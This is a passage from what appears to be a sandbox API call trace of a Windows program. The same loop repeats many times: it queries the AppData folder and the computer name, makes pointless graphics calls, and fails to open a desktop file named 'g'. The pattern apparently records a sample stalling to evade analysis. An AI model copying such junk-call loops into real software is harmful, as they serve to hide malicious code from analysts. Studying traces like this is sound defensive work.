(lpBaseAddress=0x0) returned 0 [0189.210] CloseHandle (hObject=0x0) returned 0 [0189.210] CloseHandle (hObject=0xffffffff) returned 1 [0189.210] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.210] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.210] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.210] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.210] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.210] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.210] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.210] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.210] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.210] CloseHandle (hObject=0x0) returned 0 [0189.210] CloseHandle (hObject=0xffffffff) returned 1 [0189.210] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.210] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.210] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.210] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.210] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.210] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.210] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.210] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.211] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.211] CloseHandle (hObject=0x0) returned 0 [0189.211] CloseHandle (hObject=0xffffffff) returned 1 [0189.211] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.211] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.211] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.211] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.211] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.211] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.211] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.211] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.211] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.211] CloseHandle (hObject=0x0) returned 0 [0189.211] CloseHandle (hObject=0xffffffff) returned 1 [0189.211] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.211] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.211] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.211] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.211] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.211] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.211] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.212] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.212] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.212] CloseHandle (hObject=0x0) returned 0 [0189.212] CloseHandle (hObject=0xffffffff) returned 1 [0189.212] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.212] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.212] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.212] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.212] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.212] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.212] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.212] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.212] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.212] CloseHandle (hObject=0x0) returned 0 [0189.212] CloseHandle (hObject=0xffffffff) returned 1 [0189.212] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.212] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.212] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.212] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.212] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.212] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.213] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.213] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.213] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.213] CloseHandle (hObject=0x0) returned 0 [0189.213] CloseHandle (hObject=0xffffffff) returned 1 [0189.213] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.213] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.213] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.213] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.213] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.213] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.213] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.213] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.213] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.213] CloseHandle (hObject=0x0) returned 0 [0189.213] CloseHandle (hObject=0xffffffff) returned 1 [0189.213] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.213] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.213] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.213] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.213] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.214] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.214] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.214] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.214] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.214] CloseHandle (hObject=0x0) returned 0 [0189.214] CloseHandle (hObject=0xffffffff) returned 1 [0189.214] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.214] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.214] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.214] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.214] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.214] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.214] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.214] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.214] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.214] CloseHandle (hObject=0x0) returned 0 [0189.214] CloseHandle (hObject=0xffffffff) returned 1 [0189.214] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.214] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.214] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.214] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.214] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.215] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.215] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.215] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.215] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.215] CloseHandle (hObject=0x0) returned 0 [0189.215] CloseHandle (hObject=0xffffffff) returned 1 [0189.215] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.215] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.215] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.215] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.215] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.215] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.215] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.215] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.215] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.215] CloseHandle (hObject=0x0) returned 0 [0189.215] CloseHandle (hObject=0xffffffff) returned 1 [0189.215] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.215] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.215] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.215] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.216] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.216] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.216] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.216] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.216] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.216] CloseHandle (hObject=0x0) returned 0 [0189.216] CloseHandle (hObject=0xffffffff) returned 1 [0189.216] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.216] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.216] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.216] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.216] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.216] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.216] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.216] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.216] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.216] CloseHandle (hObject=0x0) returned 0 [0189.216] CloseHandle (hObject=0xffffffff) returned 1 [0189.216] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.216] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.217] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.217] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.218] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.218] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.218] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.218] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.218] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.218] CloseHandle (hObject=0x0) returned 0 [0189.218] CloseHandle (hObject=0xffffffff) returned 1 [0189.218] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.218] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.218] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.218] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.218] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.218] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.218] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.218] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.218] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.218] CloseHandle (hObject=0x0) returned 0 [0189.218] CloseHandle (hObject=0xffffffff) returned 1 [0189.218] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.218] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.218] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.219] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.219] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.219] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.219] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.219] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.219] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.219] CloseHandle (hObject=0x0) returned 0 [0189.219] CloseHandle (hObject=0xffffffff) returned 1 [0189.219] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.219] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.219] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.219] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.219] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.219] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.219] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.219] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.219] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.219] CloseHandle (hObject=0x0) returned 0 [0189.219] CloseHandle (hObject=0xffffffff) returned 1 [0189.219] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 